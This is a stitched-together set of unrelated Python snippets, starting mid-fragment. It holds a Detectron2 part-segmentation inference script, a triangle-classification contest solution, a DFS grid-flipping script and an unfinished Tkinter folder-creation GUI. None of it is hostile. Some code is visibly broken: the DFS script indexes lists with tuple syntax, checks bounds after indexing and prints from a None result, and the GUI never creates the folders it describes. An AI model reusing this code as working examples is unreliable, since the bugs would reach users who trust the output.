  print(response[i])


import argparse
import glob
import multiprocessing as mp
import os
import shutil
import time
import cv2
import tqdm
import numpy as np

from detectron2.config import get_cfg
from partseg import add_partseg_config
from detectron2.data.detection_utils import read_image
from detectron2.utils.logger import setup_logger

from detectron2.engine.defaults import DefaultPredictor
from detectron2.utils.visualizer import ColorMode, Visualizer

# constants
WINDOW_NAME = "COCO detections"

def setup_cfg(args):
    # load config from file and command-line arguments
    cfg = get_cfg()
    add_partseg_config(cfg)
    cfg.merge_from_file(args.config_file)
    cfg.merge_from_list(args.opts)

    # Set score_threshold for builtin models
    cfg.MODEL.RETINANET.SCORE_THRESH_TEST = args.confidence_threshold
    cfg.MODEL.ROI_HEADS.SCORE_THRESH_TEST = args.confidence_threshold
    cfg.MODEL.PANOPTIC_FPN.COMBINE.INSTANCES_CONFIDENCE_THRESH = (
        args.confidence_threshold
    )

    # load weights from the default path
    if not args.custom_weights:
        default_weights = os.path.join(cfg.OUTPUT_DIR, "model_final.pth")
        if os.path.exists(default_weights):
            print("Use the default weights.")
        cfg.MODEL.WEIGHTS = default_weights

    cfg.freeze()
    return cfg

def get_parser():
    parser = argparse.ArgumentParser(description="Detectron2 demo for builtin models")
    parser.add_argument(
        "--config-file",
        default="configs/mask_rcnn_R_50_FPN_chair.yaml",
        metavar="FILE",
        help="path to config file",
    )
    parser.add_argument(
        "--root-dir",
        type=str,
        help="root directory",
        default="datasets/images/test/chair",
    )
    parser.add_argument(
        "--output-dir",
        type=str,
        help="path to output",
        default="datasets/predictions/test/chair",
    )
    parser.add_argument("--shape-list-fn", type=str, help="path to shape list")
    parser.add_argument("--start", type=int, default=0)
    parser.add_argument("--end", type=int, default=None)
    parser.add_argument(
        "--confidence-threshold",
        type=float,
        default=0.5,
        help="Minimum score for instance predictions to be shown",
    )
    parser.add_argument(
        "--custom-weights", action="store_true", help="whether to use custom weights"
    )
    parser.add_argument(
        "--include-image", action="store_true", help="whether to include input images"
    )
    parser.add_argument("--vis", action="store_true")
    parser.add_argument("--with-score", action="store_true")
    parser.add_argument(
        "--opts",
        help="Modify config options using the command-line 'KEY VALUE' pairs",
        default=[],
        nargs=argparse.REMAINDER,
    )
    return parser

if __name__ == "__main__":
    mp.set_start_method("spawn", force=True)
    args = get_parser().parse_args()
    setup_logger(name="fvcore")
    logger = setup_logger()
    logger.info("Arguments: " + str(args))

    cfg = setup_cfg(args)
    predictor = DefaultPredictor(cfg)

    root_dir = args.root_dir
    if args.shape_list_fn:
        with open(args.shape_list_fn, "r") as f:
            image_ids = f.readlines()
        image_ids = [x.strip() for x in image_ids]
    else:
        image_ids = os.listdir(root_dir)
        image_ids = [x for x in image_ids if os.path.isdir(os.path.join(root_dir, x))]
    image_ids = sorted(image_ids)
    image_ids = image_ids[args.start : args.end]

    for image_id in tqdm.tqdm(image_ids[:]):
        file_name = os.path.join(root_dir, image_id, "img.png")
        image = read_image(file_name, format="BGR")
        predictions = predictor(image)
        instances = predictions["instances"].to("cpu")
        pred_masks = instances.pred_masks.numpy()  # [N, H, W]
        pred_masks = (pred_masks * 255).astype(np.uint8)
        # for pred_mask in pred_masks:
        #     cv2.imshow('mask', pred_mask)
        #     if cv2.waitKey(0) == 27:
        #         break  # esc to quit

        output_dir = os.path.join(args.output_dir, image_id)
        if not os.path.isdir(output_dir):
            os.makedirs(output_dir)

        # save
        for idx, pred_mask in enumerate(pred_masks):
            output_file_name = os.path.join(output_dir, f"partmask_{idx}.png")
            cv2.imwrite(output_file_name, pred_mask)

        # Convert image from OpenCV BGR format to Matplotlib RGB format.
        image_rgb = image[:, :, ::-1]
        visualizer = Visualizer(image_rgb, None, instance_mode=ColorMode.IMAGE)
        if not args.with_score:
            # workaround to suppress visualizing scores
            instances.remove("scores")
        vis_output = visualizer.draw_instance_predictions(predictions=instances)

        if args.vis:
            cv2.namedWindow(WINDOW_NAME, cv2.WINDOW_NORMAL)
            cv2.imshow(WINDOW_NAME, vis_output.get_image()[:, :, ::-1])
            if cv2.waitKey(0) == 27:
                break  # esc to quit
        else:
            output_file_name = os.path.join(output_dir, f"partmask_all.png")
            vis_output.save(output_file_name)

        if args.include_image:
            shutil.copy(file_name, os.path.join(output_dir, "img.png"))


T = int(input())
for i in range(1,T+1):
    L = list(map(int,input().split()))
    L.sort()
    a,b,c = L

    type = ""

    if a+b <= c:
        type = "invalid!"
    elif a == b and b == c:
        type = "equilateral"
    elif a == b or b == c:
        type = "isosceles"
    else:
        type = "scalene"

    print(f"Case #{i}: {type}")


import sys

n1 = sys.stdin.readline()
n, m = n1.split(" ")
n = int(n)
m = int(m)
matrix=[]

for i in range(n):
    n1 = sys.stdin.readline()
    row =[]
    for j in n1.strip():
        row.append(int(j))
    matrix.append(row)

def DFS(x,y,k,maze):
    row = len(maze)
    col = len(maze[0])
    if k==0:
        res.append((x,y))
        return
    else:
        f =False
        for x1,y1 in [(x+1,y),(x,y+1),(x,y-1),(x-1,y)]:
            if maze[x1,y1] !=maze[x,y] and x<row and x>=0 and y<col and y>=0:
                f = True
                maze[x1,y1] = 1 if maze[x1,y1]==0 else 0
                DFS(x1,y1,k-1,maze)
                maze[x1,y1] = 1 if maze[x1,y1]==0 else 0
        if f==False:
            res.append((x,y))
n = input()
n = int(n)
for i in range(n):
    n1 = sys.stdin.readline()
    x , y ,k=n1.split(" ")
    x = int(x)
    y = int(y)
    k = int(k)
    res=[]
    maze= matrix.copy()
    r = DFS(x,y,k,maze)
    print(r[0])


'''
The purpose of this python script is to produce a program, that when run, will provide two input options:
1. File path
2. Type of directory

One inputted, the program will create a directory with sub folders for data requests.
The best package to use may be Tkinter.
'''
from tkinter import *
from tkinter.ttk import *
import tkinter
import os

window = Tk()

window.title("Batch File")

window.geometry('450x200')

#window.configure(background = 'Gray64')

directory_base_check = ''

style = Style()
#style.layout()

lbl_description = Label(window, text='Enter the Directory and type of Data Request to create standard folders')
lbl_description.grid(column=0,row=0, columnspan = 2, pady = 5, sticky=W+E+N+S)

lbl_path = Label(window, text='Directory:').grid(row=2, sticky = E, pady = 20)
#lbl_path.grid(column=0,row=2, pady = 20)

directory_input = Entry(window,width=50)
directory_input.grid(column=1, row=2, sticky = W, padx = 5)

lbl_combo = Label(window, text='Data Request Type:').grid(row=4, sticky = W)
#lbl_combo.grid(column=0,row=4)
#Types of Data Requests
dr_type = Combobox(window)
dr_type['values']= ('External with DA','External without DA','Internal','Recurring Reporting')
dr_type.current(0) #set the selected item
dr_type.grid(column=1, row=4, sticky =W, padx = 5)

def print_text(input_text):
    lbl_display['text'] = input_text

def directory_create():
    dr_type_ans = dr_type.get()
    dir_ans = directory_input.get()

    #Create Error if Folder path does not match preferred
    if directory_base_check in dir_ans:
        pass
    else:
        print('Recheck Directory: Incorrect Directory')
        print_text('Recheck Directory: Incorrect Directory')

btn = Button(window, text="Create Folders",command=directory_create)
btn.grid(column=0, row=5, pady = 20)

lbl_display = Label(window, text = '')
lbl_display.grid(column = 1, row = 5, sticky=W+E+N+S, pady = 20, padx = 5)
lbl_display.configure(background = 'gray64')

#combo.get()

window.mainloop()